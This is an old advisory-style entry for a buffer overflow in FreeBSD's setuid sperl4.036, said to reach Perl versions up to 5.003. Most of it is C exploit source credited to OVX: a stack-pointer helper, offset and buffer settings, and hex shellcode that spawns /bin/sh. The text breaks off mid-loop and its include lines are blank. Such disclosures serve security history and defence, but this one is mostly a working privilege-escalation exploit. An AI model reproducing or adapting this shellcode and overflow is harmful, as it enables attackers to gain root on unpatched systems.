COMMAND sperl4.036 SYSTEMS AFFECTED FreeBSD PROBLEM With a little modyfication of OFFSET value you can overflow all versions up to perl5.003. Credit for this goes to OVX deliver@free.polbox.pl who made this exploit available. /************************************************************/ /* Exploit for FreeBSD sperl4.036 by OVX */ /************************************************************/ #include #include #include #define BUFFER_SIZE 1400 #define OFFSET 600 char *get_esp(void) { asm("movl %esp,%eax"); } char buf[BUFFER_SIZE]; main(int argc, char *argv[]) { int i; char execshell[] = "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; for(i=0+1;i